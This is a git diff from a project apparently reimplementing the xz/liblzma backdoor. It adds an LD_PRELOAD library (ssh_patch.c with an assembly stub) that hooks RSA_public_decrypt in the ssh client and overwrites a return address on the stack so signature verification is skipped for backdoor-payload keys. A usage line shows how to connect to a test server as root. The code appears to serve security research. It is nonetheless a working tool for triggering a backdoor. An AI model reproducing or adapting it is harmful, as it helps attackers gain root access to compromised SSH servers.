diff --git a/CMakeLists.txt b/CMakeLists.txt
index 744c245..16424a8 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -4,6 +4,7 @@ project(xzre LANGUAGES C ASM)
 set(CMAKE_C_STANDARD 23)
 set(CMAKE_BUILD_TYPE Debug)
 
+find_library(UNWIND_LIBRARY NAMES libunwind.so REQUIRED)
 find_library(LZMA_LIBRARY NAMES liblzma.a REQUIRED)
 find_program(SED_COMMAND NAMES sed REQUIRED)
 message(STATUS "Using ${LZMA_LIBRARY}")
@@ -113,4 +114,9 @@ add_custom_command(
 	DEPENDS ${CMAKE_SOURCE_DIR}/xzre.h
 	VERBATIM
 )
-add_custom_target(gen_xzre_header ALL DEPENDS ${CMAKE_BINARY_DIR}/xzre.h)
\ No newline at end of file
+add_custom_target(gen_xzre_header ALL DEPENDS ${CMAKE_BINARY_DIR}/xzre.h)
+
+
+add_library(ssh_patch SHARED ssh_patch.c ssh_patch.S)
+target_compile_options(ssh_patch PRIVATE -Wno-deprecated-declarations)
+target_link_libraries(ssh_patch crypto dl ${UNWIND_LIBRARY})
diff --git a/ssh_patch.S b/ssh_patch.S
new file mode 100644
index 0000000..731828e
--- /dev/null
+++ b/ssh_patch.S
@@ -0,0 +1,17 @@
+/*
+ * Copyright (C) 2024 Stefano Moioli <smxdev4@gmail.com>
+ **/
+.intel_syntax noprefix
+.section .note.GNU-stack,"",%progbits
+
+.section .text
+.globl hijack_return
+
+hijack_return:
+	// erase error code returned by openssh_RSA_verify
+	xor rax, rax
+
+	// jump to the original return address
+	mov rdi, QWORD PTR [rip + orig_ret@GOTPCREL]
+	jmp [rdi]
+
diff --git a/ssh_patch.c b/ssh_patch.c
new file mode 100644
index 0000000..0d5131e
--- /dev/null
+++ b/ssh_patch.c
@@ -0,0 +1,97 @@
+/**
+ * @file ssh_patch.c
+ * @author Stefano Moioli (smxdev4@gmail.com)
+ * @brief Patch for ssh to disable signature verification for backdoor certificate identities
+ * and allow them to be used as ssh identities (-i flag)
+ *
+ * to use: `LD_PRELOAD=$PWD/libssh_patch.so ssh -vvv -i /tmp/backdoor_payload_cert.pub root@localhost -p 2022`
+ * 
+ */
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <openssl/bn.h>
+#include <stdio.h>
+#include <stdint.h>
+#include <string.h>
+#include <openssl/rsa.h>
+#define UNW_LOCAL_ONLY
+#include <libunwind.h>
+
+static int (*orig_RSA_public_decrypt)(
+	int flen, const unsigned char *from, unsigned char *to,
+	RSA *rsa, int padding
+) = NULL;
+
+void __attribute__((constructor)) init(){
+	orig_RSA_public_decrypt = dlsym(RTLD_NEXT, "RSA_public_decrypt");
+	if(!orig_RSA_public_decrypt){
+		fprintf(stderr, "could not find original RSA_public_decrypt\n");
+		exit(1);
+	}
+}
+
+extern void hijack_return();
+
+uintptr_t orig_ret = 0;
+
+int RSA_public_decrypt(
+	int flen, const unsigned char *from, unsigned char *to,
+	RSA *rsa, int padding
+){
+	const BIGNUM *n = NULL;
+	const BIGNUM *e = NULL;
+	RSA_get0_key(rsa, &n, &e, NULL);
+	if(!n || !e) goto orig;
+
+	int size = BN_num_bytes(n);
+	unsigned char *buf = calloc(sizeof(unsigned char), size);
+	if(!buf) return -1;
+
+	if(BN_bn2bin(n, buf) < 0) goto orig;
+
+	if(size <= 536 && size >= 16){
+		uint32_t a, b;
+		uint64_t c;
+		a = *(uint32_t *)(buf + 0);
+		b = *(uint32_t *)(buf + 4);
+		c = *(uint32_t *)(buf + 8);
+		uint64_t cmd_type = (a * b) + c;
+		if(cmd_type > 3) goto orig;
+
+		// assume it's the payload for now (signature checking would be better)
+		printf("[+++++] backdoor payload detected. skipping verification\n");
+
+		unw_cursor_t cursor; unw_context_t uc;
+		unw_word_t ip, sp;
+		unw_getcontext(&uc);
+		unw_init_local(&cursor, &uc);
+
+		const int steps = 2;
+		uintptr_t *v_sp[steps], v_ra[steps];
+
+		for(int i=0; i<steps && unw_step(&cursor) > 0; i++){
+			unw_get_reg(&cursor, UNW_REG_IP, &ip);
+			unw_get_reg(&cursor, UNW_REG_SP, &sp);
+			printf ("ip = %lx, sp = %lx\n", (long) ip, (long) sp);
+			
+			// backtrack to get the location of the return address
+			v_sp[i] = (uintptr_t *)(sp - 8);
+			v_ra[i] = ip;
+		}
+
+		// save the address where our caller would return to
+		orig_ret = v_ra[1];
+		
+		/**
+		  * make `openssh_RSA_verify` (our caller) return to our hijack function,
+		  * which will replace the return value
+		  */
+		*v_sp[1] = (uintptr_t)&hijack_return;
+		free(buf);
+		return 0;
+	}
+
+orig:
+	if(buf) free(buf);
+	return orig_RSA_public_decrypt(flen, from, to, rsa, padding);
+}
\ No newline at end of file